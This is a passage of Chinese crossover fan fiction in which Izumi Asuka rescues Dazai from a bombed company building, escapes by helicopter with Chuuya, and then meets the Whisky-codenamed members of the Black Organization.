让来拿资料的是他们，现在炸交通工具助兴的也是同一批人。
从家到公司那么远的距离，难道他们等下要拿着各种重要资料挤巴士回去吗？！
随即响起的是第二批剧烈的爆炸声。
这一次可不是只炸了一辆汽车的小打小闹，而是发生在公司大楼内部，整栋大楼都剧烈摇晃了几下。
看来她真的低估了这个组织的没下限程度，他们就不怕把重要的科学家也炸死吗！
公司安保系统的警报还没停止，就又响起了火警的鸣笛。
广播里传来慌张的声音，表示有身份不明的恐怖分子在公司十楼的机房放了炸弹，电力系统已经基本瘫痪。
大家能逃的赶紧逃，实在逃不了的就只能等死了。
泉飞鸟深吸一口气，她迅速把手里的咖啡和马卡龙抛在一边，穿过慌乱无措的人群，用全速冲回木间的办公室。
“太宰！”
她甚至忘了还要维持人设的事情，匆匆忙忙踹开门，大声喊道：“别管什么资料了，赶紧跑！”
资料能不能顺利拷贝完根本无所谓，太宰……哦不，太宰扮演的角色如果死亡了，那副本就直接结束了！
……宽敞的办公室里空无一人，仿佛从来都没人存在过。
太宰已经先紧急避难了吗？
泉飞鸟皱起了眉头，如果换成其他人，第一反应肯定是避难，但她的直觉告诉她，太宰治绝对不是这种安分的人。
她重新冷静下来，走出办公室环视四周。
研究部所在的楼层是26楼，电力系统的瘫痪已经影响到了高层，电梯停止运行，消防逃生通道也不知道因为什么原因被堵住了，出不去。
周围的研究员乱哄哄的，泉飞鸟却一眼在人群中看到了刚才来敲办公室门的那个。
她一把揪起了研究员的领子。
“木间呢？”
研究员原本还想对这个不礼貌的人大吼大叫，一对上泉飞鸟令人发寒的眼神就忍不住瑟缩了一下。
“艾斯特女士，木间博士他……”
研究员的声音低了下去：“他说要去找一份重要资料，所以去十楼机房了……”
眼看着面前女人的表情越发难看，研究员扶了扶眼镜，畏畏缩缩：“博士是在警报响起不久之前才走的，他说不定没有去机房，已经在安全的地方避难了。”
那是绝对不可能的。
之前还只是猜测，现在已经基本上能确定了。
泉飞鸟松开研究员的衣领，直接走向消防通道的方向，因为基本上没有使用，大门被紧紧锁住，一群没什么战斗力的研究员急得团团转。
她大多数时候都是心平气和的，现在心里却难得憋了一股火气。
不仅仅是因为太宰治扮演的角色死亡会导致任务失败，更是因为太宰治本人。
之前太宰治一直嚷嚷着“哎呀想找人殉情”，也说过“这样死掉好痛苦我不要”之类的话，她听了也只是因为对方是在开玩笑。
泉飞鸟是一位魁梧女子，双臂有力，步履稳健，好一个能让柔弱男人依靠的肩膀，她抡起一把旁边刚拿的消防斧，虎虎生威。
木头门连带着门锁都被砍出一个洞。
周围所有围观的人都齐刷刷后退一步，用惊恐的眼神看着这个平时没什么存在感的花瓶女人像个冷酷的杀手，干净利落地一脚把摇摇欲坠的门踹开。
“你们还愣着干什么？”
泉飞鸟刚准备进入楼道，偏头就看到周围的一群人：“还不赶紧跑，继续在这里等死吗？”
她自顾自下楼梯，准备直接去十楼。
人群面面相觑。
刚才还被揪着领子问人去了哪的研究员深吸一口气，小声道：“她好酷啊……”
＊
十楼，爆炸导致的起火已经迅速蔓延开来。
泉飞鸟刚刚踹开安全通道的大门，她甚至都还没有靠近最初起火点的机房，热浪和浓烟已经向她席卷而来。
她没有丝毫犹豫，简单看了一眼墙上的地形分布图，就直接冲进了火海。
灼热滚烫的火焰烧坏了身上的衣服，甚至灼伤皮肤，又很快被自带的恢复能力完全修复，重新生长出光滑白皙的皮肤。
烟很大，泉飞鸟其实不太看得清前面的路，只能凭着记忆中的路线，往深处继续走，她很快就到达了机房最深处的房间。
这里储存着公司大部分的重要机密，房间周围做了高级的防火处理，第一波的炸弹居然没有破坏这个房间。
外表看起来有些狼狈的泉飞鸟推开房间门又抓紧时间关上。
“呀，飞鸟。”
正安安静静坐在椅子上的太宰治对她打了个招呼，甚至很有闲情逸致地挥挥手：“不是说让你去帮我倒咖啡拿点心吗？”
他完全不像身处危险致命的火场，倒像是悠闲得仿佛在度假。
“你个智
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障。”
泉飞鸟已经懒得和他多说废话，虽然身体上的损伤确实能快速修复，但被浓烟呛到的感觉实在不好受。
她用力地咳嗽几下，把嗓子里的淤血咳出来之后才觉得稍微好受一点。
“你要找死的话直接跟我说我一刀直接把你劈了。”
“还特地跑到最里面的房间来，你就是故意的吧！你绝对有机会在爆炸之前就逃出去的！”
泉飞鸟一口气把话说完，就看到旁边的桌子上放着螺丝刀、剪刀之类的小东西，语气更加危险：“你不会早就发现这里有炸弹了吧？”
太宰治笑而不语。
“给，这是拷贝的资料。”
他把小小的u盘递给泉飞鸟。
泉飞鸟没接，她看了看这个房间，发现角落居然还有保护资料用的防火布，直接扯了一大块，把太宰裹得严严实实像个粽子。
“你不是最讨厌痛苦的死法了吗，被火烧死可是很痛的！不许松开布，听到了没有你这个大龄问题儿童！”
外面的火势已经越来越大，在这里继续逗留只会更加危险，泉飞鸟确认太宰整个人都已经被裹得严严实实之后，直接把人扛起来，拉开了房间的大门往外跑。
在火焰剧烈燃烧的噪音里，她听到太宰轻轻地说：“……你不是说过很讨厌我吗？怎么还要来和我一起死呢？”
他话音刚落，被提前布置在机房的另一批炸弹发出接收信号的“滴滴滴”声音，爆炸的热风夹杂着被震碎的玻璃碎片再次扑面而来。
泉飞鸟转身把太宰治死死护住，等到这一波爆炸平息之后，才勉强再次站起来，继续往外面跑。
她的速度很快，迅速冲到了应急出口大门，很快发现向下的楼道已经被火覆盖。
她转头往上爬，一口气上到较为安全的三十层才把太宰扔到地上，一屁股坐在台阶上大喘气。
“谁要跟你一起死在这里啊，想想就觉得难受。”
泉飞鸟把已经破破烂烂的外套脱了，她能感受到在刚才的第二波爆炸里有好几块玻璃碎片扎在后背里了。
如果不取出来，伤口也不能自动愈合。
“你给我听好了，以后（的副本）你都要听我的，没有我的允许，你不许再乱找死，听明白了没有？”
“如果你随随便便死掉的话，我（的评分）会很苦恼的。”
当然，她拼尽全力把太宰治捞出来，也不仅仅是为了副本评分，毕竟这个过程确实是太痛苦了。
主要是泉飞鸟就是这种喜欢跟人唱反调的人，如果一个人特别想死，她就偏偏不想让这个人死掉，主打一个逆反心理。
“听明白了就来帮帮忙，我背后有几个碎片自己够不到。”
“……嗯。”
太宰治难得如此沉默。
他低下头，看着泉飞鸟后背被玻璃碎片扎得血淋淋的伤口，伸手把其中一块碎片拔出来。
“痛痛痛，痛死了……”
不一样了。
他在心里想着。
太宰治把那块碎片扔在地上，又开始拔第二块，却忍不住笑起来。
跟他记忆中的情景不一样了。
10.第十章
太宰治从一年以前开始，陆陆续续做过一些关于平行世界未来的梦。
梦境中的信息很含糊，就算是他，也要费些功夫才能验证真实性，稍微猜到一些未来会发生的事。
比如，他的友人织田作之助的死亡，他离开港口Mafia加入武装侦探社。
……以及，打算创造一个没有异能力者的世界的某个人。
具体的信息像是被蒙上了一层雾，看不清晰。
但这些都不是问题，鬼鬼祟祟的老鼠总有露出尾巴的一天。
他更关注的是那个突然冒出来的精神系异能力者。
不知道是不是因为对方的能力影响，太宰治从梦中醒来的时候，已经记不清对方的样貌和名字，只留下一团模糊的虚影。
但毋庸置疑，梦中的这个神秘人是个好人。
她温柔善良，愿意对每一个人伸出援手，永远都保持着乐观开朗。
就算是一开始讨厌她的人，接触一段时间后也会改变看法，基本上没有人不喜欢她。
她为了他人的幸福用尽一切努力，甚至不惜伤害自己，故事的最后像个纯洁无瑕的骑士一样，在他人的注视中牺牲自己，迎来了好的结局。
难以割舍的是白月光，再也无法忘怀的是已经为了他人而死去的白月光。
……但是太宰治很讨厌她。
非常，非常讨厌。
这一点不管是梦境中的那个太宰，还是现实中的这个太宰，他们两个人的看法都是相同的。
她就像是坐在神龛中高高在上的神偶，虚伪地戴着温柔的假面，在每个人面前扮演他们心目中完美的朋友。
明明很讨厌这个世界，还要装出普渡众生的模样，真恶心。
这种厌恶甚至延伸到了现实中，太宰治在Lupin酒吧遇到正在打工兼职的泉飞鸟时，看到人的第一眼就瞬间认出她是梦中的那个神秘人。
虽然对方并没有梦境中那种神鬼莫测的精神系异能力，只是个彻头彻尾的普通人，太宰也非常确定。
因为最开始的一段时间，她就和梦境中完全一样，摆出温柔可亲的样子亲近他们。
好恶心好恶心好恶心。
要不是因为织田作和安吾都对泉飞鸟很亲近，他真想现在就杀了她，怎么可能给她离开横滨的机会？
……只是没想到和梦境中一模一样的副本还是出现了，泉飞鸟似乎和记忆中有所不同。
太宰并没有在意。
他在真正的现实里，还有不得不要活下去的理由，但至少在这个虚假的副本里。
——他想迎来平静，且没有痛苦的死亡。
＊
“……你笑什么？”
泉飞鸟痛得呲牙咧嘴，玻璃碎片拔出来之后，伤口又痒得不行。
她状态稍微好转一点之后，开始观察周围情况，转头就看见太宰正在盯着她笑。
……怎么说呢，就不像是什么善意的眼神。
像是那种狂热的科学家发现了什么珍贵的实验品，扮演研究员还会有这种影响？
她警惕地捂住自己已经完全愈合的伤口：“我警告你，你不要恩将仇报。我是天生身强体壮，伤口愈合得快，没有什么特殊能力的。”
“我可是把你从火场里救出来哎，你居然敢嘲笑我？你要是敢把我的信息泄露出去，我就把你打个半死，让你再也说不了话！”
“飞鸟你才是应该向我道歉吧？我可是好不容易将要迎来我期待已久的死亡，你居然把我拉出来。”
太宰耸耸肩，超级大声地又笑了几声。
“你以前是虚伪的感情骗子，现在是没脑子的热血笨蛋！我一直超——级——讨厌——你！”
“……我？感情骗子？”
泉飞鸟简直要被他的倒打一耙惊呆了，怎么有人能说出这么不要脸的话：“我什么时候欺骗过人家感情了？”
“你骗我的感情。”
太宰治一本正经地回答：“在上辈子。”
“……神经病，闭嘴吧你。”
刚才逃出来的时候，太宰治被包裹的严严实实，现在一看他连皮都没擦破。
已经看破红尘的泉飞鸟懒得和他多废话，直接物理压制，就冲着太宰治那张漂亮的脸上揍。
太宰治看起来苍白瘦弱，躲得到还挺快。
两个人就这么你打一拳我闪一下，很有默契地拉拉扯扯继续往上层楼走。
之前萦绕在两人中间那种阴沉的氛围不知不觉消散了。
泉飞鸟的战斗空间其实也等同于空间系的异能力，就像刚才解决掉那个在百米之外的狙击手一样，她能把视线范围内的人拉入战斗空间。
离开的时候能回到自己原来的地方，也能直接去往战斗对象所在的位置，比起正大光明的战斗，其实更适合于各种暗杀工作。
但是不到致命的时刻，她还不打算把压箱底的底牌展出来，说不定大楼再往上的楼层还有更多机会。
“太宰，这栋大楼一共有几层？”
医药公司的紧急避难广播还是很及时的，大部分人都抓紧时间撤离，现在楼上没什么人。
“88楼。”
太宰果然知道。
泉飞鸟陷入沉思，他们现在已经到达了50楼，如果继续在往上的话，就会超出她的视线范围，战斗空间都不起效了。
“那我们就不要再继续往上……”
“不行哦。”
太宰看了一眼昏暗楼梯间里模糊的楼层牌，摇摇头：“你以为他们就只是在10楼的机房装了炸弹吗？所有紧急避难层都已经提前装好炸弹，即将引爆。”
像是证明太宰治的话，大楼再次剧烈震动了一下，就在离他们很近的下方。
“这家医药公司早就和那个组织有暗中合作了，现在翅膀硬了想单飞，被直接暴力清扫也不是什么奇怪的事。”
“而‘木间’是这家医药公司研究部的骨干成员，他不知道和组织合作的事情，技术能力也足够出众，可以继续之前的研究。”
泉飞鸟看了太宰治一眼。
她已经懒得询问对方到底是怎么在如此短暂的时间里推断出这么多的东西的，果然人和人的大脑之间是有结构差异的。
“当然，能够撑起研究的人才也并不是唯一的。”
太宰治扯了下泉飞鸟破破烂烂的外套：“如果我愿意听话还好，有什么反抗心思的话，对方也随时能放弃我。”
“不过现在看来我们两个都已经进入死亡备选名单了～”
还要再继续往上的话，不太妙啊……
泉飞鸟绞尽脑汁思考办法。
再高的楼层看汽车都是一个小点，更不要说人了，她难道要带着太宰治从摩登大楼顶楼一跃而下，自由落体？
如果提前
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做好准备的话，应该可以在落地之前看到人，把他俩转移到安全的地面去。
……但是那样绝对会被很多人看到，暴露能力吧，总不能说他们是在举行高空逃脱的魔术秀？
她露出了苦恼的表情。
但是实在没办法也只能这么干了，反正这也是虚构的历史，不是真实的。
“太宰，我们跳楼吧！”
“飞鸟，我们去顶楼。”
两个人异口同声地说道。
“……？”
太宰眼睛里瞬间迸发出闪亮的光：“什么，要一起去殉情吗？”
“对不起请当我什么都没说。”
泉飞鸟做了个用手拿嘴拉链的动作，扯着活蹦乱跳要往窗户方向冲的太宰继续往上。
太宰挣扎的力气居然超级大，之前还能轻松把他扛起来的泉飞鸟这回费了好大的劲，踹开天台大门的时候，整个人都在大喘气。
“谁要跟你一起跳楼啊？想都别想！”
“明明是飞鸟你刚才自己说要去跳楼的……”
“我那是为了……”
泉飞鸟话还没说完，不远处的天空中响起了清晰的直升机螺旋桨声，一架直升机正往他们这边迅速靠近。
这很明显就是太宰要来天台的原因了。
“你是神算子吗？”
泉飞鸟都想给脑力派磕个头，让他们把脑子分一点给自己：“你难道是算出来会有飞机来？”
并没有成功跳楼的太宰没回答她，而是忧郁地站在天台围栏边仰望天空，深沉叹了口气。
“……你回来。”
泉飞鸟提着太宰的领子把他拖回来，防止这人被直升机的风浪给掀下去。
“我眼中的世界，像飞鸟一样的热血笨蛋是绝对不会懂的。”
太宰治眯起眼看向打开的直升机舱门，果然看到有个熟悉的影子从里面冒头出来，他又叹了口气：“很可惜，这里的热血笨蛋浓度又马上要上升了。”
“噫——呀——”
伴随着熟悉的声音，一个矫健有力的身影居然直接从半空中的直升机里跳下来，熟悉的漂亮橘色头发在半空中划过一个完美的弧度。
他落地的时候，整栋大楼似乎又震了震，幅度比刚才的爆炸还要大，一个人影从升腾的烟雾中逐渐显现出来。
穿着帅气却陌生的制服，橘发蓝眼的酷哥堂堂登场！
泉飞鸟目瞪口呆。
她原本以为这个副本里有一个熟人，已经很离谱了，结果这又冒出来一个不算熟，甚至只有一面之缘的人。
这不是她前不久之前偷看人家被抓了个正着的中原中也先生吗！！
不是，怎么连中原先生也进这个副本了？
中原中也落地之后意气风发，耳机里传来同事热情的赞美：“詹姆斯先生不愧是真正的一米九硬汉！”
“这么高的地方落地都能毫发无伤，实在是太强了！”
中原中也一挑眉，神采飞扬。
烟雾还很重，他隐约看到不远处有两个模糊的人影，“啪嗒”一下甩开自己闪闪发光的金色证件。
“FBI！配合调查！”
烟雾彻底散去，他看到了面前目瞪口呆的泉飞鸟和还是那副死样的太宰治。
“……”
“中也。”
太宰治幽幽地开口：“你不会以为这样很帅吧？”
11.第十一章
“你……这我……啊？？”
中原中也愣住了，他不可置信地问：“居然不止我一个人穿越了吗？”
他确实是当之无愧的靠谱人士，虽然震惊的要命，还是记得把耳麦给关了。
“等等，你们到底是怎么认出来是我的？是因为我的声音吗？”
中原中也低头看了一眼自己身上整齐的FBI制服，指着证件上的照片大声吐槽：“……我在你们眼中难道不是个身高一米九的超级壮汉吗？！”
那张小小的照片上是一个看起来就肌肉虬结的壮汉，除了头发颜色也是橘红色之外，和中原中也本人的外表没有丝毫关系。
“……虽然很不好意思，但我还是要打断你一下。”
泉飞鸟对上中原中也那双充满着期待的钴蓝色眼睛，心里不知为何生起一种浓重的愧疚，她硬着头皮继续往下说。
“虽然不知道为什么中……这位先生你也会被拉进来，但是实际上不是穿越了，而是在这个副本里扮演某个角色。”
“虽然在其他人眼里先生你是壮汉形象，但是在我们眼里……总之我们很快就会回到现实的。”
泉飞鸟都不忍心说下去了。
他真的好失落！
中也先生到底为什么会这么失落啊！整个人的颜色好像都黯淡了！
比起那个又高又壮的红发大猩猩，怎么看都是中也先生更加精致帅气吧！
“这位先生，你换制服的时候都没有照镜子吗？话说回来，其实我觉得你本人的长相比证件照上好多了……”
中原中也眼神呆滞。
他刚刚来的时候是在早上，刚睁开眼就被FBI的同事拉去出任务，证件照上是和他本人完全不一样的壮汉。
中原中也暗自窃喜，他试探性地询问了同事，遇到的每个人都表示他是FBI执行官里最顶级的硬汉。
——中原中也，在一声声的恭维和夸奖中逐渐迷失自己。
他当然是要想办法回到原本的世界！港口Mafia有太多他无法舍弃的东西，他是不可能安心留在其他世界的。
但是在找到回去的方法之前……咳咳。
“中也是被别人夸了之后就飘了吧。”
太宰治在旁边冷酷无情地补刀：“放弃吧，蛞蝓再怎么小只也是飞不起来的。”
“太宰你这个混蛋！”
中也一看到太宰治就来气，看到他那只平时被绷带覆盖的眼睛居然是完好的，更是火上头。
他之前还因为怜悯太宰治是个残疾人士，帮他写过任务报告！结果居然是装瞎！
在旁边的泉飞鸟，默默往后退了一步降低自己的存在感，生怕正在吵架的两个人注意到自己。
……坏了，糟糕的预感成真了。
她眼前就是一黑。
按照太宰治和中原中也这熟络程度，太宰治绝对就是港口Mafia的成员啊！
她真的是绝世大蠢蛋！还好刚才没有下意识喊中原先生！
不行，得想办法才行。
“你们两个打算吵到什么时候？”
泉飞鸟板着脸打断了他们：“火都要烧上来了，就不能先去安全的地方吗？”
她站在太宰治身后的视觉死角，努力对中原中也使眼色，还努力摇头摆手示意，希望他就当做没见过她，千万别喊她名字。
“？”
中原中也其实不太了解泉飞鸟为什么要在太宰背后又是做鬼脸又是摇头摆手，但是他一向是可靠体贴的人，也没有打断对方的“表演”，而是顺着往下说。
“……这位小姐说的没错，我们先上直升机。”
中也本来想叫泉飞鸟的名字的，但是粉色长发的少女表情实在是过于惊恐恳切，他就直接换了称呼。
他对着头顶的直升机打了个手势，两道软梯放下来，在空中飘飘荡荡。
还没等中也开口，泉飞鸟已经以迅雷不及掩耳之速凑到他旁边，睁着一双真挚的蓝眼睛眨巴了几下。
“那就我带着这位小姐上去了，她力气不够可能会有危险，太宰你自己上。”
中原中也相当绅士地伸出手，示意泉飞鸟握住他。
心里松了一大口气的泉飞鸟迅速背对着太宰，握住了中原中也戴着黑手套的手。
简直是太靠谱了中原先生！
被她挤到一边的太宰治眯了眯眼睛，目光在泉飞鸟的后脑勺停留了很久，盯得她背后发凉。
泉飞鸟若无其事地借着中原中也的力道爬上软梯。
看什么看！
没爬过救援软梯不是很正常吗！
好在太宰治没多说什么，沉默地爬上了另一个软梯，直升机带着人缓缓起飞。
“中也先生，太感谢你了！没有你的帮忙，我都不知道该怎么办！”
他们这边有中原中也的重力异能辅助，上
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去的速度比太宰治那边快，泉飞鸟确定现在这个距离他们的对话不会被听见。
“噢……噢！”
中原中也没觉得自己做了什么值得感谢的事情，不过他一向是直爽的性子，干脆地应下了泉飞鸟的感谢。
“你是泉贞子是吧？我之前在人员表上看到过你的名字。”
也不知道为什么，他见到这个人的第一眼就挺有好感的，好像在很久之前就已经在哪里见过了：“你和太宰那个混蛋有仇？”
“……其实那个是我起的代号，一开始是为了躲太宰先生的，和他现在也算不上有仇。我的真名是泉飞鸟，你直接喊我飞鸟就好。”
泉飞鸟有点不好意思：“虽然很抱歉，接下来可能还要麻烦你，暂时不要向太宰先生透露我现在在港口Mafia的事情。”
“虽然以后肯定会暴露的，但是我还不想让他这么早知道。”
中原中也笑了笑，他看上去开朗又正直，完全不像是个黑手党，倒是和现在的FBI身份有几分相符。
“这么点小事，用不着说谢谢。我和太宰那个混蛋认识也有段时间了，跟那家伙过不去的人多的是，你不用担心，我会帮你暂时隐瞒的。”
大概是看泉飞鸟的表情不太好，他认真思考了一会，补充道：“其实我也应该向你说句抱歉的。”
“之前我在总部大楼的时候就见过你，甚至擅自根据你的外表和名字揣测了你的性格，觉得你可能是个非常温柔体贴的人，抱歉。”
泉飞鸟震惊地看着中原中也，有着温暖橘发的人还在继续说：“不过实际见到你之后，我意识到自己之前不应该那么想的。”
“你这样挺好的，比我之前揣测的温柔体贴更好……等等，你干什么？”
双手十指相扣作祈祷姿势的泉飞鸟闭上了眼，眼泪哗哗掉。
“我看见活的天使了，我好感动，眼泪完全止不住，我要推荐中原先生成为年度感动横滨人物！”
“谁要那种称号啊！而且这是在半空中你给我抓住绳子啊！”
泉飞鸟单手抓绳子，另一只手默默抹泪。
“中原先生，真的是温柔的仿佛妈妈一样的角色啊……”
“谁是你妈妈啊！你不要乱叫！”
中原中也头上蹦出一个十字路口：“你再多说一句我就把太宰和你一起扔下去！”
他刚刚真是昏了头才会觉得泉飞鸟性格好！
12.第十二章
“诸君，接下来我们要进行横滨驻美国小组第一次集中会议。”
太宰治双手交叉撑在下巴下，表情严肃。
“各位横滨的同胞有什么想要发言的吗？”
泉飞鸟高高举起手：“长官，其实我不是横滨本地人，可以不加入这个可笑的小组吗？”
“驳回，下一个，黑漆漆的小矮子发言。”
中原中也正在看手机上刚收到的邮件，听到这话直接翻了个白眼：“飞鸟，你把直升机的舱门打开。”
泉飞鸟有些疑惑，但还是老老实实照做：“在高空中也需要透气吗？”
“刚刚听到了让人很火大的话。”
中原中也已经开始扯太宰治的白大褂衣领子：“我不想发言，但是我可以把让我发言的人扔下飞机解决掉，让我的心情好一点。”
泉飞鸟像海豹拍肚子一样“呱唧呱唧”鼓掌：“中也好帅！”
吹完发自内心的彩虹屁之后，泉飞鸟又像个善变的反派一样，迅速换了副嘴脸。
“虽然很可惜，但是太宰治绝对不能死——”
她瞬间使用出之前和魏尔伦先生撒泼打滚的技巧，果断抱住了中原中也的腰。
“拜托啦，暂时放过他吧！什么时候能干掉他，我一定马上通知你！！”
中原中也的脸瞬间爆红，他很少和异性有这种程度的肢体接触，他甚至都顾不上像块狗皮膏药一样的太宰治。
“松手！你先松手！”
他想把黏在他身上的泉飞鸟给扒拉下来，刚想伸出手又像触电一样缩回去。
对方可是后勤部的，哪像太宰治那么耐打！他下手没个轻重，万一太用力把人弄伤了怎么办？
太宰治那个混蛋还在旁边像个没事人一样吹口哨！
泉飞鸟歪了歪头，有点疑惑地松开手。
这招对魏尔伦先生没什么太大的用处，泉飞鸟喜欢用这招的原因是多少能拖延一点时间。
她刚才都已经做好准备被甩飞和暴揍了，没想到中原中也居然只是语言让她松手，根本没有实际动作。
她本来还想顿挨打，从中也这边蹭点经验值呢。
“中也，你难道……”
泉飞鸟恍然大悟，在中原中也羞恼的表情里缓缓开口：“你腰很怕痒所以不让抱吗？”
她露出了一对死鱼眼：“那万一有人袭击你的腰可怎么办啊！”
沉默是今天的直升飞机。
太宰治没忍住，笑出了声，笑到最后还把自己呛住了，咳嗽了好几声。
中原中也的表情更加微妙复杂了，脸上的红色迅速退下去，变成纯粹的无语凝噎。
他张嘴想说什么也没说出口，最后只能自暴自弃地承认：“我就是腰很怕痒，所以你不要随随便便抱了。”
“别人的也不要抱，这样……容易有误会。”
泉飞鸟叹了口气：“好叭。”
她可怜的经验值又停滞不前了，进副本之后完全没有长进。
还有太宰在旁边煽风点火：“不就是普通的格斗术交流吗，能有什么误会？”
“中也你说出来让我们听听？还是说你们两个刚刚背着我说了什么悄悄话，有小秘密了！”
“……你去死吧混蛋太宰！”
他们三个吵吵闹闹间，飞了一段路程的直升飞机也缓缓落地。
中原中也和一直戴着静音耳机的驾驶员互相点头示意，带着泉飞鸟和太宰治下了直升机。
“虽然你刚才说过这个副本是虚构的，但炸掉公司的组织其实我在现实里有所耳闻。”
中原中也往不远处的通道走：“FBI也一直在调查这个组织，所以才让我来营救‘木间’，目前也是唯一一个被组织盯上之后还活着的人。”
他们降落的地点是一个很偏僻的停机坪，似乎是FBI的隐藏区域。
“就是那个以酒为代号的组织吧？”
悠闲散步的太宰治插了句嘴：“他们一直在东京范围活动，却一直没有放弃把爪子伸到横滨来，森先生也一直很烦恼呢。”
泉飞鸟听着听着，忍不住给太宰治一记肘击：“你知道这么多，刚才为什么不说？”
结果满头雾水的只有她一个人！
“哎呀呀，为什么呢？”
太宰治无辜地笑了笑：“没有什么原因，就是不想说。”
“……”
忍。
要忍。
泉飞鸟把拳头握的嘎吱响。
等结束副本她第一时间就要把太宰打一顿！
“FBI的某位长官想见见你们，估计是想要你们手里的资料，或者希望你们加入组织的时候，顺便混个卧底帮他们吧。”
中原中也满不在乎地耸耸肩：“这种事情吃力不讨好，你直接拒绝就行，港口Mafia的人不用吃这种亏。”
如果没有遇到泉飞鸟和太宰，他可能还会勉强听一下长官的命令，现在就完全不一样了。
港口Mafia的人，不管是在哪里他都要护住，中原中也可不怕什么扮演角色失败。
“哦？”
泉飞鸟一听这话眼睛都亮了，嘴角笑出奸诈的弧度：“想让我做事也不是不行，只要给的够多，我什么都能干的。”
＊
临近傍晚的时候，看起来有几分灰头土脑的泉飞鸟和太宰治重新回到了他们居住的公寓楼下。
楼下停着一辆黑色商务车，有个背光的人影正靠在商务车旁，看不见他的五官，只能看到他金色的短发和偏深色的皮肤。
“木间·理查德，医药公司研究员，川下·艾斯特，之前在日本
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当过一段时间的自由杀手，现在已经金盆洗手不干了，没错吧？”
在没看清对方的长相前，泉飞鸟还以为那是个外国人，结果那个人一开口就是熟悉的日语，长相也是亚洲人的样貌。
“没错，就是我。”
泉飞鸟熟练地挽住太宰治的手臂：“你是谁？”
她给自己加的虚构人设果然成真了，爽！
“我的名字是安室透，在组织的代号是波本威士忌，是琴酒派来接你们去机场飞往北欧的。”
安室透打量了一下这两个灰头土脑的人，他当然很清楚这两个人确实是福大命大，居然能从爆炸中逃出来。
“资料给拿来了吗？欢迎你们加入组织，赶快上车吧，还有其他两个人已经等你们很久了。”
威士忌。
听到安室透的代号时，泉飞鸟多看了他两眼。
她和太宰治前不久之前才从FBI的基地出来，专员把他们送到了附近的街区，确认没有跟踪和监控之后才离开。
刚才在基地的时候，他们和FBI的长官达成了初步协议，有太宰治和中原中也辅助的泉飞鸟狠狠地从对方那里敲了一大笔，估计那位长官要肉痛大半年。
达成一致的其中一项条件，就是和早就已经潜伏进组织当卧底的某位探员搭上线，互相提供便利。
根据FBI的情报，对方的代号是威士忌。
会是面前这个人吗？
泉飞鸟有点走神，挽着太宰治手臂的手也有点放松。
“亲爱的，专心。”
太宰治小声地和泉飞鸟咬耳朵，一看就是一对亲密无间的情侣：“不要随便松开我的手。”
“……你别靠我这么近，亲！爱！的！”
泉飞鸟在太宰治手臂上拧了一把，完全没收敛力气。
太宰治的脸瞬间扭曲起来：“嘶——你这完全不解风情的暴力女，真不知道你之前是怎么骗人的……”
两个人上了商务车，车里果然已经坐了其他的两个人。
“诸星大，代号黑麦威士忌。”
黑长发绿眼的青年正在抽烟，一直看向窗外，甚至没有分给他们目光。
“绿川光，代号苏格兰威士忌。”
蓝色凤眼的青年很有礼貌地对他们笑了笑。
泉飞鸟不可置信：“所以你们都是威士忌？”
“我们的代号有什么问题吗？”
安室透已经发动了汽车，汇入车流，他从后视镜里瞥了眼泉飞鸟，试探性地询问。
“没事，就觉得你们挺有缘分的。”
泉飞鸟露出假笑，在心里怒骂。
FBI的情报系统是纸糊的吗，这么不中用，只知道一个威士忌的代号有什么用啊！！
感觉这组织至少会有十个威士忌！
13.第十三章
前往机场的一段路上，谁都没有开口说话，三位威士忌代号的组织成员都绷着脸。
“这是组织的企业文化吗，对着可亲的新人摆出这种冷脸？”
泉飞鸟双手抱胸靠在椅背上，放肆的目光在每个人脸上转来转去，她甚至努力扭头去看坐在后排的人。
感觉这三个都不太像好人啊，光是看也看不出哪个比较可疑。
“......或者你们三个都生性不爱笑？”
原本坐在后排查看手机的苏格兰听到这话，忍不住笑了。
他面无表情的时候还带着几分狠戾，露出笑容的时候眉眼却温柔下来。
“正常情况下，大家对新人都是比较友好的，会特意分配一位老成员……嗯，带一带新人。”
他说得很委婉，但大家懂的都懂，其实就是监视。
开车的波本也应和了一句：“因为你之前表现得很有潜力，琴酒特别欣赏你，所以特地派了三个人来带你适应。”
事实上，他们三个已经是目前在美国的全部代号成员了。
“哇哦。”
泉飞鸟很捧场地惊叹了一声：“我之前错怪你们了，你们可真会说话，好听的话多说爱听。”
琴酒估计都快被气疯了吧，哪来的特别欣赏她的潜力？
“当然，在木间博士到达北欧之前的时间，我们也会负责护卫工作。”
太宰治懒洋洋地掀了下眼皮。
旁边时刻观察他反应的泉飞鸟一下子支楞起来：“你们三个负责护卫工作，那么期间的一切费用都可以由组织报销喽？”
“……理论上可以这么说。”
苏格兰谨慎地回答。
但报销单琴酒愿不愿意批是另外一回事，这种重要项目应该没问题吧？
泉飞鸟点了点头，手不动声色地戳了下太宰治的腰。
太宰治也相当配合，迅速露出一副无比虚弱的模样，伸手扶住额头：“在飞机起飞之前，我们能先去吃点东西吗？”
“……从爆炸里逃出来之后我们一直没吃东西，现在我觉得有点低血糖。”
＊
半小时后机场某高级餐厅，泉飞鸟和太宰治正在报菜名，这两个人把菜单上所有的东西都点了一遍，甚至包括大厅里弹奏的钢琴曲。
泉飞鸟无比热情，对着其他三个人挥手：“你们怎么站在原地不动，快来吃啊！”
“就当是我们的入职宴了！”
其实饿倒不是特别饿，主要是想再薅一下组织的羊毛。
“你嘴里说的入职宴，就是花组织的钱请我们吃饭吗？”
虽然嘴里在抱怨着，但波本和苏格兰还是很实诚地在桌旁坐下，和他们一起享用晚饭。
黑麦虽然很沉默寡言，但干饭速度比他们还积极：“如果是五个人一起联合申请报销的话，成功概率很大。”
“……”
泉飞鸟和太宰治对视了一眼。
之前觉得这三个貌似都不是好人，现在看来……
——好像更加不像好人了。
短暂而快乐的饭局结束后，他们一行五个人准备登机。
不知道是不是泉飞鸟的错觉，她总感觉这三位监视官对她的态度和颜悦色不少。
她后退一步，和太宰治咬耳朵：“……你觉得哪个最像？”
“哪个？”
太宰治像是想起了什么好笑的事，反问道：“你觉得呢？”
“……我觉得他们都挺像的。”
泉飞鸟对自己的观察分析能力没什么太大的信心，只能跟着自己的直觉判断。
“果然是单细胞生物的直觉。”
太宰拍了拍她的肩膀：“嘛，总之努力动起你那生锈的脑瓜，接下来好好加油吧。”
远看组织精英，近看内鬼聚会。
这就是外国的组织精英吗？爱了爱了。
他们乘坐的是深夜红眼航班，五个人分成了两组，泉飞鸟和波本运气不佳，位置在经济舱。
泉飞鸟幽怨地盯着其他三个人走向二层头等舱的背影，又开始死死盯着波本看：“为什么我没有头等舱坐！”
“没让你趴在飞机货舱已经很好了。”
